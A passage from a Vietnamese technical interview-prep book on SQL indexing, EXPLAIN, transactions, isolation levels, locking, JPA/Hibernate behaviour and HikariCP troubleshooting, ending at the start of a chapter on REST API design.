1. Q2: không seek được. Thiếu cột trái nhất customer_id, giống tra danh bạ theo tên mà không biết họ; thường là full scan. Nếu query này quan trọng, tạo index riêng trên created_at.
1. Q3: có, nhưng chỉ seek theo customer_id. Cột status ở giữa bị bỏ trống nên các dòng của khách 7 không được sắp theo created_at liên tục; điều kiện created_at chỉ được kiểm tra trên từng entry của khách 7 (MySQL hiện Using index condition).
1. Q4: có, và là covering index. status nằm trong index, còn id là PK nên InnoDB lưu sẵn trong mọi secondary index; DB không cần đọc bảng, EXPLAIN hiện Using index.
Câu hỏi (Đọc code): Đọc EXPLAIN dưới đây, query có vấn đề gì và bạn sửa thế nào?
	EXPLAIN SELECT * FROM orders WHERE customer_id = 7 ORDER BY created_at DESC LIMIT 10;
   type: ref
    key: idx_orders_customer
key_len: 8
   rows: 45210
  Extra: Using filesort



Đáp án:
Index idx_orders_customer (customer_id) giúp lọc đúng khách, nhưng DB phải lấy hết khoảng 45 nghìn đơn của khách 7 rồi sắp xếp (Using filesort) chỉ để trả 10 dòng. key_len: 8 khớp một cột BIGINT, xác nhận chỉ customer_id được dùng. Sửa bằng composite index (customer_id, created_at): trong cùng một khách, index đã sắp theo thời gian, DB đọc ngược 10 entry đầu rồi dừng, filesort biến mất và số dòng thực tế đọc chỉ còn 10. Index cũ (customer_id) trở thành thừa vì là tiền tố của index mới, có thể xóa.
Câu hỏi (Thực chiến): API danh sách đơn hàng từ 50ms tăng lên 3 giây sau vài tháng. Bạn điều tra thế nào?
Tôi đi từ đo đạc tới nguyên nhân: xác định câu SQL chậm, đọc EXPLAIN, rồi sửa index hoặc query, không đoán mò.
1. Xác định chậm ở đâu: APM hoặc log thời gian cho thấy phần lớn thời gian nằm ở DB hay ở code. Kiểm tra luôn số câu SQL mỗi request, vì N+1 cũng làm API chậm dần theo dữ liệu.
1. Tìm câu SQL cụ thể: slow query log của MySQL (long_query_time), pg_stat_statements của PostgreSQL, hoặc log SQL của Hibernate.
1. Chạy EXPLAIN (PostgreSQL: EXPLAIN ANALYZE) với tham số thật: tìm ALL/Seq Scan, filesort, số dòng ước lượng lớn, ước lượng lệch thực tế.
1. Sửa theo nguyên nhân: thêm composite index khớp WHERE và ORDER BY, viết lại điều kiện bọc hàm, đổi OFFSET lớn sang keyset, cập nhật thống kê bằng ANALYZE.
1. Kiểm chứng lại bằng EXPLAIN và số liệu p95 sau khi deploy.
	CÂU HỎI ĐÀO SÂU
"Thêm index trên bảng 50 triệu dòng đang chạy production thế nào cho an toàn?" — MySQL 8 hỗ trợ online DDL (ALGORITHM=INPLACE, LOCK=NONE), bảng rất lớn thì dùng công cụ như gh-ost hoặc pt-online-schema-change; PostgreSQL dùng CREATE INDEX CONCURRENTLY (không chạy được trong transaction, nên tách thành migration riêng). Chạy giờ thấp điểm và theo dõi replication lag.



Câu hỏi (Đọc code): Tìm lỗi trong query keyset dưới đây
	-- previous page ended at (created_at = '2026-09-02 08:00', id = 104)
SELECT id, created_at, total FROM orders
WHERE created_at < '2026-09-02 08:00'
ORDER BY created_at DESC, id DESC
LIMIT 2;



Đáp án:
Query bỏ sót các đơn trùng created_at với dòng cuối trang trước; trên dữ liệu mẫu nó trả 102, 101 và mất đơn 103. Đơn 103 có created_at = '2026-09-02 08:00' giống đơn 104, nên không thỏa <. Sửa bằng cách thêm cột phụ duy nhất: WHERE created_at < :ts OR (created_at = :ts AND id < :id) (PostgreSQL viết gọn (created_at, id) < (:ts, :id)), và index (created_at, id) để seek. Nguyên tắc: cursor phải gồm đủ các cột tạo thành thứ tự duy nhất.
Câu hỏi (Hiểu sâu): Isolation level mặc định của MySQL và PostgreSQL là gì? MVCC giúp gì?
MySQL InnoDB là REPEATABLE READ, PostgreSQL là READ COMMITTED. MVCC giữ nhiều phiên bản của dòng để người đọc thấy snapshot nhất quán mà không cần khóa: đọc không chặn ghi và ngược lại. READ COMMITTED lấy snapshot theo từng câu lệnh, REPEATABLE READ theo cả transaction.
	BẪY THƯỜNG GẶP
Nói "REPEATABLE READ chống được mọi vấn đề đồng thời". MySQL RR vẫn để lọt lost update khi ứng dụng đọc giá trị, tính toán rồi ghi đè.



	CÂU HỎI ĐÀO SÂU
"Vì sao không dùng SERIALIZABLE cho an toàn?" — Throughput giảm mạnh do khóa nhiều hơn (MySQL) hoặc tỉ lệ abort cao (PostgreSQL SSI), ứng dụng phải retry. Thực tế dùng level mặc định và khóa có chủ đích ở đúng chỗ cần.



Câu hỏi (Thực chiến): Hai khách cùng mua món hàng cuối cùng. Bạn xử lý thế nào để không bán âm kho?
Tôi trình bày ba lựa chọn và trade-off. Atomic update UPDATE ... SET stock = stock - 1 WHERE id = ? AND stock > 0 rồi kiểm tra số dòng ảnh hưởng: đơn giản, nhanh nhất, là lựa chọn mặc định của tôi. Pessimistic lock SELECT ... FOR UPDATE khi logic cần đọc rồi quyết định phức tạp trong transaction ngắn. Optimistic lock @Version khi xung đột hiếm, kèm retry có giới hạn. Flash sale tải cực cao thì đưa tồn kho lên Redis (DECR atomic) hoặc xếp hàng qua message queue.
	BẪY THƯỜNG GẶP
Dùng synchronized trong Java. Chỉ có tác dụng trong một JVM, chạy hai instance là hỏng, và cũng không bao trùm được ranh giới transaction.



Câu hỏi (Thực chiến): Deadlock trong DB xảy ra khi nào? Bạn phòng tránh ra sao?
Hai transaction giữ khóa mà bên kia cần và chờ lẫn nhau; DB tự phát hiện và rollback một bên. Phòng tránh: khóa theo thứ tự nhất quán, transaction ngắn, UPDATE/DELETE đi qua index, không gọi API ngoài khi giữ khóa, và retry khi gặp lỗi deadlock (Spring dịch sang nhóm PessimisticLockingFailureException, với Hibernate thường là CannotAcquireLockException).
Câu hỏi (Cơ bản): ACID là gì? Cho ví dụ khi thiếu từng tính chất.
ACID là bốn đảm bảo của transaction: Atomicity, Consistency, Isolation, Durability. Lấy ví dụ chuyển 100 từ tài khoản A sang B:
1. Atomicity (nguyên tử): trừ A và cộng B cùng thành công hoặc cùng bị hủy. Thiếu nó, server sập giữa chừng thì A mất tiền mà B không nhận được.
1. Consistency (nhất quán): sau transaction dữ liệu vẫn thỏa ràng buộc, ví dụ CHECK (balance >= 0). Thiếu nó, A có thể âm tiền.
1. Isolation (cô lập): một báo cáo chạy song song không thấy trạng thái "A đã trừ, B chưa cộng".
1. Durability (bền vững): đã báo thành công thì mất điện ngay sau đó tiền vẫn ở B, nhờ redo log/WAL đã ghi xuống đĩa.
Câu hỏi (Cơ bản): Dirty read, non-repeatable read và phantom read khác nhau thế nào?
Khác nhau ở thứ bị thay đổi: dirty read đọc dữ liệu chưa commit; non-repeatable read là một dòng đã đọc bị sửa; phantom read là tập dòng thỏa điều kiện bị thêm hoặc bớt. Ví dụ: đọc số dư 50 mà transaction kia sau đó rollback là dirty read; đọc số dư hai lần trong một transaction ra 100 rồi 70 là non-repeatable read; đếm đơn PAID của khách hai lần ra 1 rồi 2 vì có đơn mới chèn vào là phantom read. Bảng thời gian chi tiết ở mục 6.3.
Câu hỏi (Đọc code): Với mỗi isolation level, T2 đọc ra giá trị gì ở bước 3?
	-- accounts(id = 1, balance = 100) at the start
-- step 1, T2: BEGIN; SELECT balance FROM accounts WHERE id = 1;
-- step 2, T1: UPDATE accounts SET balance = 70 WHERE id = 1; COMMIT;
-- step 3, T2: SELECT balance FROM accounts WHERE id = 1;



Đáp án:
1. READ COMMITTED (mặc định PostgreSQL): bước 1 đọc 100, bước 3 đọc 70. Mỗi câu lệnh lấy snapshot mới, và lúc bước 3 chạy thì 70 đã commit. Đây là non-repeatable read.
1. REPEATABLE READ (mặc định MySQL): bước 1 và bước 3 đều đọc 100. Snapshot được chụp ở lần đọc đầu (bước 1) và dùng cho cả transaction.
1. Chi tiết thú vị ở MySQL: nếu T2 chạy SELECT ... FOR UPDATE ở bước 3, nó đọc bản mới nhất là 70, vì đọc khóa (locking read) luôn đọc dữ liệu hiện tại chứ không đọc snapshot. Hai câu SELECT trong cùng transaction có thể trả hai giá trị khác nhau chỉ vì một câu có FOR UPDATE.
Câu hỏi (Hiểu sâu): MVCC giúp gì? Vì sao transaction mở quá lâu gây hại cho DB?
MVCC giữ nhiều phiên bản của mỗi dòng để người đọc thấy snapshot nhất quán mà không cần khóa, nên đọc không chặn ghi và ghi không chặn đọc. Cái giá là phiên bản cũ phải được giữ cho tới khi không còn transaction nào cần. Một transaction mở suốt một giờ (ví dụ job báo cáo, hoặc code mở @Transactional rồi gọi API ngoài bị treo) buộc DB giữ mọi phiên bản cũ phát sinh trong một giờ đó: InnoDB có history list dài ra, undo log phình, đọc chậm dần vì phải lần qua chuỗi phiên bản; PostgreSQL không VACUUM được tuple chết nên bảng và index phình to. Theo dõi bằng information_schema.innodb_trx (MySQL) hoặc pg_stat_activity với cột xact_start (PostgreSQL).
Câu hỏi (Hiểu sâu): Khi nào chọn optimistic lock, khi nào chọn pessimistic lock?
Optimistic khi xung đột hiếm và thao tác kéo dài; pessimistic khi xung đột thường xuyên và transaction ngắn.
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Với optimistic, xung đột cao nghĩa là phần lớn request thất bại và retry, throughput còn tệ hơn pessimistic. Với pessimistic, transaction dài hoặc gọi API ngoài khi đang giữ khóa sẽ làm hàng đợi chờ khóa dài ra và dễ deadlock.
Câu hỏi (Thực chiến): Đối soát cuối ngày thấy số dư ví của một số user lệch so với tổng giao dịch. Bạn điều tra và sửa thế nào?
Dấu hiệu điển hình của lost update: code đọc số dư lên Java, cộng trừ, rồi ghi đè cả giá trị. Tôi điều tra theo các bước:
1. Tìm code cập nhật số dư: nếu thấy mẫu wallet.setBalance(wallet.getBalance() - amount) sau findById mà không có @Version hay FOR UPDATE, gần như chắc chắn là nguyên nhân.
1. Đối chiếu log: các user bị lệch thường có hai giao dịch cách nhau vài mili giây (ví dụ user bấm hai lần, hoặc hoàn tiền và thanh toán cùng lúc).
1. Tái hiện bằng test đồng thời: 10 thread cùng trừ 1 từ số dư 100, kết quả khác 90 là xác nhận.
Sửa: dùng atomic update UPDATE wallet SET balance = balance - :amount WHERE id = :id AND balance >= :amount và kiểm tra số dòng ảnh hưởng, hoặc findByIdForUpdate nếu cần logic phức tạp, hoặc @Version kèm retry. Kèm theo đó lưu bảng giao dịch (ledger) bất biến để số dư luôn tính lại và đối soát được, rồi viết script sửa số liệu đã lệch.
	CÂU HỎI ĐÀO SÂU
"Sao không đặt @Transactional(isolation = SERIALIZABLE) cho hàm trừ tiền?" — Được, nhưng MySQL sẽ biến mọi SELECT thành locking read, tăng khóa và deadlock; PostgreSQL sẽ abort một bên với lỗi serialization và bạn vẫn phải viết retry. Atomic update giải quyết đúng chỗ với chi phí thấp nhất.



Câu hỏi (Thực chiến): Log production mỗi ngày có vài chục lỗi "Deadlock found when trying to get lock". Bạn làm gì?
Đầu tiên tìm hai câu lệnh tham gia deadlock, rồi sửa thứ tự khóa hoặc index; song song thêm retry cho lỗi này.
1. Lấy chi tiết: SHOW ENGINE INNODB STATUS (mục LATEST DETECTED DEADLOCK) hoặc bật innodb_print_all_deadlocks để ghi mọi deadlock vào error log. Log cho biết hai transaction, câu lệnh đang chạy, khóa đang giữ và khóa đang chờ.
1. Tìm nguyên nhân phổ biến: hai luồng code cập nhật cùng tập dòng theo thứ tự ngược nhau (chuyển tiền A sang B và B sang A); UPDATE theo cột không có index nên khóa quá nhiều dòng; transaction làm quá nhiều việc.
1. Sửa: sắp xếp id trước khi khóa (luôn khóa id nhỏ trước), thêm index cho cột trong WHERE của UPDATE/DELETE, thu nhỏ transaction.
1. Retry: deadlock là lỗi tạm thời, retry toàn bộ transaction 2–3 lần với backoff là cách xử lý chuẩn; Spring ném CannotAcquireLockException hoặc DeadlockLoserDataAccessException tùy phiên bản.
Câu hỏi (Hiểu sâu): Controller gọi thẳng productRepository.findByIdForUpdate(id) rồi gọi save(), không có @Transactional ở service. Khóa có tác dụng không?
Không. Khóa chỉ sống trong transaction, mà ở đây không có transaction nào bao trùm cả "đọc, tính, ghi". Với query method tự khai báo trên interface, Spring Data mặc định không áp transaction; Hibernate thấy câu FOR UPDATE chạy ngoài transaction sẽ ném TransactionRequiredException ("no transaction is in progress"), và đó là trường hợp may mắn vì lỗi lộ ra ngay. Nếu ai đó "sửa" bằng cách gắn @Transactional lên method repository, lỗi biến mất nhưng khóa được nhả ngay khi findByIdForUpdate trả về; phần tính toán trong Java không được bảo vệ, còn save() chạy trong một transaction khác, nên hai request song song vẫn gây lost update. Sửa đúng: đặt toàn bộ "đọc có khóa, tính toán, ghi" trong một method @Transactional ở tầng service, và gọi method đó từ bean khác để tránh self-invocation (xem 4.5).
Câu hỏi (Thực chiến): Năm worker cùng đọc bảng jobs để lấy việc, nhưng nhiều job bị xử lý hai lần. Sửa thế nào?
Dùng SELECT ... FOR UPDATE SKIP LOCKED để mỗi worker khóa và nhận các dòng khác nhau, trong cùng transaction với việc đổi trạng thái job. Nguyên nhân: các worker cùng chạy SELECT * FROM jobs WHERE status = 'NEW' LIMIT 10, cùng nhận 10 dòng giống nhau. Nếu chỉ thêm FOR UPDATE, worker thứ hai phải chờ worker đầu xong, mất tính song song. Với SKIP LOCKED (MySQL 8+, PostgreSQL 9.5+), worker thứ hai bỏ qua các dòng đang bị khóa và lấy 10 dòng tiếp theo. Mẫu chuẩn: BEGIN; SELECT id FROM jobs WHERE status = 'NEW' ORDER BY id LIMIT 10 FOR UPDATE SKIP LOCKED; UPDATE jobs SET status = 'PROCESSING', picked_at = now() WHERE id IN (...); COMMIT; rồi xử lý ngoài transaction. Cần thêm job dọn các dòng kẹt ở PROCESSING quá lâu khi worker chết giữa chừng.
Câu hỏi (Hiểu sâu): Trong một method @Transactional bạn load entity, set vài field để hiển thị, không gọi save(). Chuyện gì xảy ra?
Entity đang managed, nên lúc commit dirty checking phát hiện thay đổi và tự UPDATE xuống DB. Đây là bug có thật: dữ liệu bị sửa "không ai gọi save". Muốn biến đổi dữ liệu để hiển thị thì map sang DTO, hoặc dùng readOnly = true cho luồng chỉ đọc.
	CÂU HỎI ĐÀO SÂU
"Dirty checking tốn gì?" — Hibernate phải giữ snapshot của mọi entity managed và so sánh lúc flush; load hàng chục nghìn entity trong một transaction tốn bộ nhớ và CPU. Đó là lý do dùng projection và readOnly cho query lớn.



Câu hỏi (Hiểu sâu): N+1 là gì? Bạn phát hiện và sửa thế nào?
1 query lấy danh sách cha, rồi N query lazy cho association của từng phần tử. Phát hiện qua log SQL, thống kê Hibernate, hoặc test assert số query. Sửa bằng JOIN FETCH hoặc @EntityGraph cho use case cụ thể, batch fetching cho trường hợp tổng quát và có phân trang, DTO projection cho API chỉ đọc.
	BẪY THƯỜNG GẶP
"Chuyển sang EAGER là hết N+1." Sai: EAGER trên collection vẫn có thể sinh N+1 (khi load qua JPQL) và làm mọi query khác nặng thêm.



	CÂU HỎI ĐÀO SÂU
"JOIN FETCH kết hợp Pageable được không?" — Với collection thì không đúng nghĩa: Hibernate cảnh báo và phân trang trong bộ nhớ sau khi tải toàn bộ. Tách hai query: lấy trang id trước, rồi fetch theo id.



Câu hỏi (Hiểu sâu): LazyInitializationException là gì? Có nên bật open-in-view cho xong?
Lỗi khi truy cập association lazy sau khi persistence context đã đóng, thường xảy ra lúc serialize entity ở controller. Sửa bằng cách fetch đủ trong service và trả DTO. Tôi tắt open-in-view vì nó giữ connection tới hết request, che giấu N+1 và cho phép query chạy ngầm từ tầng view.
Câu hỏi (Thực chiến): Import 1 triệu bản ghi bằng JPA rất chậm. Bạn tối ưu thế nào?
Bật hibernate.jdbc.batch_size, order_inserts; flush và clear persistence context theo lô; đổi id generation khỏi IDENTITY (dùng SEQUENCE pooled trên PostgreSQL) vì IDENTITY chặn batching; chia transaction theo lô để lỗi không phải làm lại từ đầu. Nếu vẫn chậm, bỏ qua JPA và dùng JdbcTemplate.batchUpdate (MySQL thêm rewriteBatchedStatements=true) hoặc công cụ native như COPY của PostgreSQL, LOAD DATA của MySQL.
	BẪY THƯỜNG GẶP
Gọi saveAll(list) với 1 triệu entity trong một transaction. saveAll chỉ lặp qua save(), persistence context giữ cả triệu object, dễ OutOfMemoryError.



Câu hỏi (Đọc code): Method dưới đây sinh ra bao nhiêu câu SQL?
	@Transactional
public void rename(long id) {
    Customer c1 = customerRepository.findById(id).orElseThrow();
    Customer c2 = customerRepository.findById(id).orElseThrow();
    c2.setName(c2.getName().trim());
    log.info("same object: {}", c1 == c2);
}



Giả sử tên trong DB là "  An " (có khoảng trắng hai đầu).
Đáp án:
Hai câu: một SELECT và một UPDATE, và log in same object: true. findById lần đầu SELECT từ DB và đưa entity vào persistence context; lần thứ hai trả luôn object đó từ context, nên c1 == c2. setName làm entity "bẩn"; lúc commit, dirty checking so với snapshot "  An ", thấy khác và sinh update customers set name=? where id=? dù không ai gọi save(). Nếu tên trong DB vốn đã là "An", trim() trả chuỗi bằng giá trị cũ, dirty checking thấy không đổi và chỉ có một câu SELECT.
Câu hỏi (Đọc code): Có 50 đơn hàng thuộc 10 khách khác nhau. Đoạn code dưới sinh bao nhiêu câu SQL?
	// Order: @ManyToOne(fetch = FetchType.LAZY) private Customer customer;
@Transactional(readOnly = true)
public void printCustomers() {
    List<Order> orders = orderRepository.findAll();
    for (Order o : orders) {
        System.out.println(o.getCustomer().getName()); // lazy proxy is initialized here
    }
}



Đáp án:
11 câu: 1 câu lấy 50 đơn, cộng 10 câu lấy khách, không phải 51. Các đơn cùng khách dùng chung một proxy trong persistence context; proxy của khách X được khởi tạo ở lần đầu getName(), những đơn sau của cùng khách X đọc từ context mà không query lại. Vẫn là N+1 với N là số khách khác nhau. Bật default_batch_fetch_size: 100 thì còn 2 câu (một câu where id in (...) cho cả 10 khách); dùng @EntityGraph(attributePaths = "customer") thì còn 1 câu có JOIN.
	CÂU HỎI ĐÀO SÂU
"Nếu đổi thành FetchType.EAGER thì sao?" — Vẫn 11 câu, nhưng các câu lấy khách chạy ngay trong findAll() dù bạn có dùng tới khách hay không. EAGER không sửa N+1 khi load bằng JPQL; nó chỉ chuyển N+1 sang chỗ khác và áp lên mọi query của entity này.



Câu hỏi (Đọc code): Sau khi commit, tên của khách id 1 trong DB là gì?
	@Transactional
public void update() {
    Customer detached = new Customer(1L, "Bình"); // id 1 exists in DB with name "An"
    Customer managed = em.merge(detached);
    detached.setName("Chi");
    System.out.println(managed == detached); // prints: false
}



Đáp án:
Tên là "Bình", không phải "Chi". merge không biến detached thành managed; nó SELECT dòng id 1 vào persistence context, chép trạng thái của detached (tên "Bình") sang instance managed đó, rồi trả về instance managed. Vì vậy managed == detached là false. Lệnh detached.setName("Chi") sửa một object mà Hibernate không theo dõi, nên bị bỏ qua. Lúc commit, dirty checking thấy managed đổi từ "An" sang "Bình" và sinh UPDATE. Bài học: luôn dùng giá trị trả về của merge (và của Spring Data save(), vì với entity đã có id nó gọi merge).
Câu hỏi (Cơ bản): Fetch type mặc định của các loại quan hệ là gì? Vì sao nên đặt mọi quan hệ là LAZY?
@ManyToOne, @OneToOne mặc định EAGER; @OneToMany, @ManyToMany mặc định LAZY. Nên đặt tất cả là LAZY vì EAGER là quyết định cố định trên entity, áp lên mọi query: màn hình chỉ cần mã đơn cũng bị kéo theo khách hàng, và khi load danh sách bằng JPQL, EAGER sinh thêm query cho từng dòng (N+1). Với LAZY, mỗi use case tự quyết định cần gì bằng join fetch, @EntityGraph hoặc DTO projection. Cái giá là phải cẩn thận với LazyInitializationException khi truy cập ngoài transaction.
Câu hỏi (Hiểu sâu): @Transactional(readOnly = true) thực sự làm gì?
Nó là gợi ý tối ưu cho cả Hibernate lẫn JDBC driver, không phải cơ chế chặn ghi tuyệt đối. Cụ thể trong Spring Boot 3 với Hibernate 6:
1. Hibernate đặt session sang FlushMode.MANUAL và đánh dấu read-only: không flush, không giữ snapshot cho dirty checking, nên tiết kiệm bộ nhớ và CPU khi load nhiều entity. Thay đổi trên entity bị bỏ qua.
1. Spring gọi Connection.setReadOnly(true); MySQL driver chuyển sang read-only transaction (bỏ qua một số chi phí ghi), PostgreSQL chặn câu ghi với lỗi cannot execute UPDATE in a read-only transaction.
1. Có thể dùng làm tín hiệu định tuyến sang replica đọc (qua AbstractRoutingDataSource hoặc proxy).
Nối với 4.5: annotation này chỉ có tác dụng khi method được gọi qua proxy; nếu method readOnly được gọi bằng this từ method @Transactional thường thì nó chạy trong transaction ghi của method ngoài.
Câu hỏi (Hiểu sâu): Vì sao bật hibernate.jdbc.batch_size = 50 rồi mà INSERT vẫn đi từng câu?
Nguyên nhân phổ biến nhất là entity dùng GenerationType.IDENTITY. Với IDENTITY, id chỉ có sau khi DB thực hiện INSERT, mà Hibernate cần id ngay khi persist để đưa entity vào persistence context, nên nó phải gửi INSERT tức thì cho từng entity và không gom batch được. Các nguyên nhân khác: xen kẽ nhiều loại entity mà không bật order_inserts; MySQL chưa có rewriteBatchedStatements=true nên driver vẫn gửi từng câu trong một batch. Cách kiểm chứng: bật generate_statistics và xem số JDBC batches executed, hoặc bật log của driver. Sửa: dùng SEQUENCE với allocationSize (PostgreSQL), hoặc bỏ qua JPA và dùng JdbcTemplate.batchUpdate cho MySQL.
Câu hỏi (Thực chiến): Log báo "HikariPool-1 - Connection is not available, request timed out after 30000ms". Bạn điều tra thế nào?
Pool đã cạn: mọi connection đang bị giữ và request mới chờ quá 30 giây. Việc cần làm là tìm ai đang giữ connection và giữ lâu vì sao, không phải tăng pool size ngay.
1. Xem metrics của Hikari qua Actuator/Micrometer: hikaricp.connections.active chạm maximumPoolSize, pending tăng cao.
1. Tìm nguyên nhân giữ connection lâu: query chậm (kiểm tra slow query log); transaction bao quanh lời gọi HTTP ra ngoài hoặc sleep; open-in-view giữ connection tới hết request; connection leak do tự lấy DataSource.getConnection() mà không đóng. Bật leakDetectionThreshold (ví dụ 20 giây) để Hikari in stack trace nơi mượn connection quá lâu.
1. Thread dump lúc sự cố: nhiều thread đứng ở HikariPool.getConnection là đang chờ; thread đang giữ connection đứng ở đâu cho biết thủ phạm.
1. Sửa đúng gốc: tối ưu query, đưa lời gọi ngoài ra khỏi transaction, tắt open-in-view. Chỉ tăng pool khi đã chứng minh DB còn dư năng lực, và nhớ nhân với số instance.
	CÂU HỎI ĐÀO SÂU
"Deadlock ở tầng pool là gì?" — Một request cần hai connection cùng lúc (ví dụ gọi method REQUIRES_NEW khi đang giữ connection của transaction ngoài). Khi mọi thread đều giữ một connection và chờ connection thứ hai, pool cạn vĩnh viễn. Tránh bằng cách không lồng REQUIRES_NEW trong luồng tải cao, hoặc bảo đảm pool size lớn hơn số thread đồng thời nhân với số connection mỗi thread cần.



6.6 Tóm tắt trọng tâm
1. Với LEFT JOIN, điều kiện lên bảng bên phải đặt ở ON, vì đặt ở WHERE sẽ loại các dòng NULL và biến nó thành INNER JOIN.
1. WHERE lọc dòng trước khi gom nhóm, HAVING lọc nhóm sau khi gom, vì thứ tự thực thi logic là FROM, WHERE, GROUP BY, HAVING, SELECT, ORDER BY, LIMIT.
1. Window function giữ nguyên từng dòng và gắn thêm giá trị tính trên nhóm; ROW_NUMBER, RANK, DENSE_RANK chỉ khác nhau khi có giá trị bằng nhau, nên phải hỏi rõ yêu cầu trước khi chọn.
1. B+Tree giữ key đã sắp xếp và các lá nối nhau, nên tìm bằng, tìm khoảng và ORDER BY đều nhanh; bảng hàng chục triệu dòng chỉ cao 3–4 tầng.
1. Composite index chỉ seek được theo tiền tố trái liên tục và dừng seek sau cột range đầu tiên, nên cột so sánh bằng đặt trước, cột range và cột sắp xếp đặt sau.
1. Hàm bọc cột, wildcard ở đầu, ép kiểu ngầm làm index vô dụng vì cây được sắp theo giá trị gốc của cột.
1. Đọc EXPLAIN bắt đầu từ type, key, rows và Extra; ALL trên bảng lớn và Using filesort trên nhiều dòng là hai tín hiệu cần sửa đầu tiên.
1. Keyset pagination nhanh ở mọi trang và không lệch khi có dữ liệu mới, vì nó bám theo giá trị dòng cuối, nhưng cursor phải gồm đủ cột để thứ tự là duy nhất.
1. MySQL mặc định REPEATABLE READ, PostgreSQL mặc định READ COMMITTED, và cả hai vẫn để lọt lost update kiểu đọc rồi ghi đè từ ứng dụng.
1. MVCC cho đọc và ghi không chặn nhau nhờ giữ nhiều phiên bản dòng, nên transaction mở lâu làm phiên bản cũ không dọn được và DB phình to.
1. Trừ kho, trừ số dư ưu tiên atomic update vì kiểm tra và ghi nằm trong một câu; optimistic lock cần retry ở ngoài transaction, pessimistic lock cần transaction bao quanh ở service.
1. Deadlock không thể loại bỏ hoàn toàn, nên vừa khóa theo thứ tự nhất quán, vừa retry toàn bộ transaction khi gặp lỗi.
1. Entity managed được dirty checking tự ghi xuống DB lúc flush, nên sửa entity để hiển thị mà không map sang DTO sẽ vô tình UPDATE dữ liệu.
1. N+1 phát hiện bằng cách đếm query; sửa bằng JOIN FETCH hoặc EntityGraph cho use case cụ thể, batch fetching khi có phân trang, DTO projection cho API chỉ đọc.
1. IDENTITY chặn insert batching vì Hibernate cần id ngay khi persist; import lớn thì dùng SEQUENCE pooled hoặc JdbcTemplate.
6.7 Checklist ôn tập
1. Viết được các loại JOIN, biết bẫy LEFT JOIN kèm điều kiện ở WHERE.
1. Nêu thứ tự thực thi logic của câu SELECT, phân biệt WHERE và HAVING.
1. Viết query tìm trùng, xóa trùng giữ lại một bản, top N mỗi nhóm.
1. Phân biệt ROW_NUMBER, RANK, DENSE_RANK.
1. So sánh DELETE/TRUNCATE/DROP, biết khác biệt MySQL và PostgreSQL.
1. Giải thích B+Tree, clustered index InnoDB, composite index, leftmost prefix, covering index.
1. Liệt kê các trường hợp index bị bỏ qua và đọc được EXPLAIN.
1. So sánh offset và keyset pagination, viết được query keyset.
1. Giải thích ACID, vai trò của WAL/redo log và undo log.
1. Nêu 4 anomaly, 4 isolation level, mặc định của MySQL và PostgreSQL.
1. Giải thích MVCC và thời điểm lấy snapshot theo isolation level.
1. Chọn giữa atomic update, optimistic lock, pessimistic lock; biết SKIP LOCKED.
1. Phòng tránh và xử lý deadlock.
1. Nêu 4 trạng thái entity, persistence context, dirty checking, thời điểm flush.
1. Phân biệt L1 và L2 cache, biết L2 mặc định tắt.
1. Nhớ fetch type mặc định của từng loại quan hệ, xử lý LazyInitializationException, tắt open-in-view.
1. Phát hiện và sửa N+1 bằng JOIN FETCH, EntityGraph, batch size, DTO projection.
1. Phân biệt persist, merge, save, saveAndFlush.
1. Tối ưu bulk insert, biết IDENTITY chặn batching.
1. Dùng Flyway/Liquibase đúng cách, cấu hình HikariCP và điều tra pool cạn.
Chương 7. Thiết kế REST API
Viết một endpoint trả JSON thì ai cũng làm được. Thứ tôi muốn thấy ở ứng viên 2–4 năm là API mà team frontend, mobile hay đối tác tích hợp dùng không phải đoán: status code đúng nghĩa, lỗi có format thống nhất, retry không tạo đơn trùng, đổi version không làm gãy client cũ.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Đặt tên resource, chọn HTTP method và status code đúng ngữ nghĩa.
1. Hiểu safe và idempotent, xử lý retry an toàn cho POST bằng idempotency key.
1. Thiết kế phân trang, lọc, sắp xếp, versioning và format lỗi thống nhất.
1. Biết tài liệu hóa API (OpenAPI) và bảo vệ API (validation, rate limiting).
1. So sánh được REST với gRPC, GraphQL và biết khi nào chọn cái nào.



7.1 Nguyên tắc REST và đặt tên resource
	NHẮC LẠI KIẾN THỨC
N2.5 đã giới thiệu HTTP là giao thức hỏi–đáp: request gồm method, đường dẫn, header, body; response gồm status code, header, body; và HTTP là stateless, server không nhớ gì giữa hai request. N2.6 so sánh REST với SOAP. Chương này dùng các khái niệm đó để thiết kế API cho người khác dùng.



REST là một kiến trúc (không phải giao thức) với các ràng buộc chính: client-server, stateless (mỗi request tự mang đủ thông tin, gồm cả credential), cacheable, uniform interface (resource định danh bằng URI, thao tác qua HTTP method chuẩn). Trong thực tế, HATEOAS ít khi được áp dụng đầy đủ.
Quy ước đặt tên:
1. Danh từ số nhiều, không động từ: GET /orders, POST /orders, không phải POST /createOrder.
1. Quan hệ cha con khi resource con không tồn tại độc lập: GET /orders/{orderId}/items. Không lồng quá 2 cấp.
1. Chữ thường, gạch ngang: /payment-methods.
1. Hành động không khớp CRUD: POST /orders/{id}/cancel là chấp nhận được, miễn nhất quán toàn hệ thống.
Resource là "thứ" mà API quản lý (đơn hàng, khách hàng, item trong đơn), mỗi resource có một địa chỉ URI riêng; method HTTP cho biết làm gì với nó. Bảng dưới đối chiếu các endpoint hay gặp trong code review với cách đặt tên đúng:
	Thiết kế chưa tốt
	Thiết kế tốt
	Lý do

	GET /getAllOrders
	GET /orders
	Method đã nói hành động, URI chỉ cần danh từ

	POST /orders/delete/42
	DELETE /orders/42
	Dùng đúng method để client, cache, gateway hiểu ngữ nghĩa

	GET /order/42/Items
	GET /orders/42/items
	Số nhiều, chữ thường thống nhất

	GET /orders?customerId=7&orderId=42
	GET /orders/42
	Định danh một resource cụ thể nằm trên path, bộ lọc nằm ở query param

	POST /customers/7/orders/42/items/9/notes
	POST /order-items/9/notes
	Lồng quá sâu, khó dùng và khó đổi



Stateless trong thực tế nghĩa là: request nào cũng mang đủ thông tin để server xử lý mà không cần nhớ request trước, điển hình là token trong header Authorization. Nhờ vậy, load balancer gửi request tới instance nào cũng được và scale ngang dễ dàng.
7.2 HTTP method, safe và idempotent
Safe: không thay đổi trạng thái server. Idempotent: gọi 1 lần hay N lần thì trạng thái cuối trên server như nhau (response có thể khác, ví dụ DELETE lần hai trả 404).
	Method
	Mục đích
	Safe
	Idempotent

	GET
	Đọc resource
	Có
	Có

	POST
	Tạo mới, hoặc hành động không idempotent
	Không
	Không

	PUT
	Thay thế toàn bộ resource (hoặc tạo tại URI đã biết)
	Không
	Có

	PATCH
	Cập nhật một phần
	Không
	Không bắt buộc

	DELETE
	Xóa resource
	Không
	Có



